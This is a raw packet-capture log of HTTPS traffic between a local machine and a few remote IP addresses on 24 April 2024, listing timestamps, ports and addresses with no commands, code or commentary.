Apr 24, 2024 08:22:01.116230011 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.116408110 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.116575956 CEST	49778	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.116599083 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.116669893 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.116889954 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.116950989 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.117731094 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.117851019 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.118283033 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.118379116 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.118413925 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.118520021 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.118529081 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.118591070 CEST	49778	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.118598938 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.118966103 CEST	49778	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.119046926 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.119322062 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.119414091 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.119457006 CEST	49778	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.119466066 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.119673967 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.119693995 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.149606943 CEST	49775	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.156219959 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.164114952 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.164762974 CEST	49778	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.164763927 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.164787054 CEST	49774	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.164921999 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.165220022 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.165280104 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.210648060 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.270174026 CEST	443	49780	142.250.141.105	192.168.2.6
Apr 24, 2024 08:22:01.270957947 CEST	49780	443	192.168.2.6	142.250.141.105
Apr 24, 2024 08:22:01.270977020 CEST	443	49780	142.250.141.105	192.168.2.6
Apr 24, 2024 08:22:01.272423029 CEST	443	49780	142.250.141.105	192.168.2.6
Apr 24, 2024 08:22:01.272620916 CEST	49780	443	192.168.2.6	142.250.141.105
Apr 24, 2024 08:22:01.274652958 CEST	49780	443	192.168.2.6	142.250.141.105
Apr 24, 2024 08:22:01.274738073 CEST	443	49780	142.250.141.105	192.168.2.6
Apr 24, 2024 08:22:01.275038958 CEST	49780	443	192.168.2.6	142.250.141.105
Apr 24, 2024 08:22:01.317428112 CEST	49780	443	192.168.2.6	142.250.141.105
Apr 24, 2024 08:22:01.317435980 CEST	443	49780	142.250.141.105	192.168.2.6
Apr 24, 2024 08:22:01.362848997 CEST	49780	443	192.168.2.6	142.250.141.105
Apr 24, 2024 08:22:01.373373032 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.373724937 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.373734951 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.375420094 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.375622988 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.377114058 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.377199888 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.377511978 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.420119047 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.431046009 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.431060076 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.478409052 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.664552927 CEST	443	49780	142.250.141.105	192.168.2.6
Apr 24, 2024 08:22:01.664717913 CEST	443	49780	142.250.141.105	192.168.2.6
Apr 24, 2024 08:22:01.664891958 CEST	49780	443	192.168.2.6	142.250.141.105
Apr 24, 2024 08:22:01.666663885 CEST	49780	443	192.168.2.6	142.250.141.105
Apr 24, 2024 08:22:01.666683912 CEST	443	49780	142.250.141.105	192.168.2.6
Apr 24, 2024 08:22:01.710545063 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.710604906 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.710644960 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.710664988 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.710705996 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.710721016 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.710724115 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.710741043 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.710757017 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.710791111 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.710791111 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.710834026 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.737417936 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.737453938 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.737555981 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.737555981 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.737571001 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.737833977 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.829643011 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.829685926 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.829741001 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.829780102 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.829777002 CEST	49778	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.829807997 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.829824924 CEST	49778	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.829834938 CEST	49778	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.830348015 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.830389023 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.830482960 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.830517054 CEST	49778	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.830526114 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.830553055 CEST	49778	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.832664013 CEST	49778	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.840559006 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.840698957 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.840764999 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.840827942 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.840899944 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.840964079 CEST	49775	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.840964079 CEST	49775	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.840982914 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.841013908 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.841197014 CEST	49775	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.841481924 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.841571093 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.841605902 CEST	49775	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.841624022 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.842055082 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.842161894 CEST	49775	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.842174053 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.842286110 CEST	49775	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.848126888 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.848285913 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.848373890 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.848421097 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.848488092 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.848611116 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.848629951 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.848947048 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.849057913 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.849116087 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.849131107 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.849252939 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.849329948 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.849368095 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.849385023 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.849437952 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.849787951 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.849915981 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.849993944 CEST	49774	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.850009918 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.850100040 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.850188971 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.850244045 CEST	49774	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.850256920 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.850343943 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.850359917 CEST	49774	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.850373030 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.850503922 CEST	49774	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.850516081 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.850598097 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.850666046 CEST	49774	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.850678921 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.854208946 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.854275942 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.854381084 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.854394913 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.854434013 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.854466915 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.854466915 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.854556084 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.856753111 CEST	49781	443	192.168.2.6	13.226.210.111
Apr 24, 2024 08:22:01.856771946 CEST	443	49781	13.226.210.111	192.168.2.6
Apr 24, 2024 08:22:01.862683058 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.862917900 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.863001108 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.863053083 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.863116980 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.863217115 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.863256931 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.863276005 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.863368988 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.863423109 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.863436937 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.863576889 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.863616943 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.863631010 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.863761902 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.874422073 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.874483109 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.874605894 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.874640942 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.874679089 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.874711037 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.874747038 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.874923944 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.874967098 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.874994040 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.875000954 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.875094891 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.875524998 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.875653982 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.875689983 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.875715971 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.875722885 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.875812054 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.881107092 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.881473064 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.881563902 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.881603003 CEST	49775	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.881622076 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.881732941 CEST	49775	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.881937027 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.882317066 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.882441998 CEST	49775	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.882457018 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.882544041 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.882704020 CEST	49775	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.882940054 CEST	49775	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.882967949 CEST	443	49775	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.883428097 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.883459091 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.883610964 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.884674072 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.884687901 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.891175985 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.891175985 CEST	49774	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.914315939 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.914670944 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.914695978 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.914865971 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.914875984 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.915214062 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.915250063 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.915255070 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.915348053 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.915354013 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.915919065 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.916006088 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.916007042 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.916019917 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.916070938 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.916076899 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.916896105 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.916970015 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.916995049 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.917001009 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.917855024 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.917889118 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.917916059 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.917922020 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.917949915 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.918018103 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.918267965 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.918986082 CEST	49779	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.918986082 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.919002056 CEST	443	49779	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.919023991 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.920835018 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.924294949 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.924312115 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.930305958 CEST	49784	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.930345058 CEST	443	49784	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.930545092 CEST	49784	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.932667971 CEST	49784	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.932687044 CEST	443	49784	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.962841988 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.963004112 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.963274956 CEST	49778	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.963293076 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.963381052 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.963463068 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.963495970 CEST	49778	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.963505030 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.963699102 CEST	49778	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.964226961 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.964376926 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.964454889 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.964485884 CEST	49778	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.964493990 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.964570045 CEST	49778	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.965046883 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.965261936 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.965481043 CEST	49778	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.965687990 CEST	49778	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.965699911 CEST	443	49778	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.965992928 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.966022968 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.966109037 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.968636036 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.968657017 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.980967999 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.981210947 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.981363058 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.981375933 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.981400013 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.981959105 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.982047081 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.982084990 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.982103109 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.982144117 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.982743979 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.982856035 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.982877016 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.982891083 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.982964039 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.982978106 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.983040094 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.983216047 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.983257055 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.983295918 CEST	49774	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.983309984 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.983587027 CEST	49774	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.983618021 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.983721972 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.983807087 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.983851910 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.983867884 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.983911991 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.984014034 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.984343052 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.984376907 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.984414101 CEST	49774	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.984426975 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.984513044 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.984533072 CEST	49774	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.984580994 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.984594107 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.984704018 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.984814882 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.984827995 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.984929085 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.985011101 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.985074043 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.985236883 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.985274076 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.985308886 CEST	49774	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.985322952 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.985349894 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.985361099 CEST	49777	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.985393047 CEST	443	49777	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.985424995 CEST	49774	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.985424995 CEST	49774	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.986552954 CEST	49774	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.986552954 CEST	49786	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.986565113 CEST	443	49774	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.986602068 CEST	443	49786	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.986907959 CEST	49787	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.986946106 CEST	443	49787	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.986988068 CEST	49786	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.987047911 CEST	49787	443	192.168.2.6	172.67.143.205
